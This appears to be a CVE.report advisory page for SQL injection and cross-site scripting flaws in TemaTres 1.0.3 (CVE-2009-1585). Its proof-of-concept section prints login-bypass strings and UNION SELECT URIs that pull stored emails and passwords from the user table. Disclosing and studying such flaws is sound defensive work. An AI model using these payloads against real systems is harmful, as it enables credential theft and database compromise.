TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

BID:34830

Info

TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID: 34830
Class: Input Validation Error
CVE: CVE-2009-1585
Remote: Yes
Local: No
Published: May 05 2009 12:00AM
Updated: May 21 2009 05:20AM
Credit: YEnH4ckEr
Vulnerable: Diego Ferreyra TemaTres 1.0.3
Not Vulnerable:

Discussion

TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

TemaTres is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

TemaTres 1.0.3 is vulnerable; other versions may also be affected.

Exploit / POC

TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following example data is available:

mail:' or 1=1 /*
password: Nothing

mail: Something
password:' or 1=1 /*

The following example URIs are available:

http://www.example.com/[HOME_PATH]/index.php?letra=2'+union+all+select+1,mail,3,pass+FROM+lc_usuario+WHERE+id=1/*

http://www.example.com/[HOME_PATH]/sobre.php?m=10&y=2007'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*

http://www.example.com/[HOME_PATH]/sobre.php?m=10'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*&y=2007

The following exploit code and example URIs are available:

Solution / Fix

TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

TemaTres SQL Injection and Cross Site Scripting Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report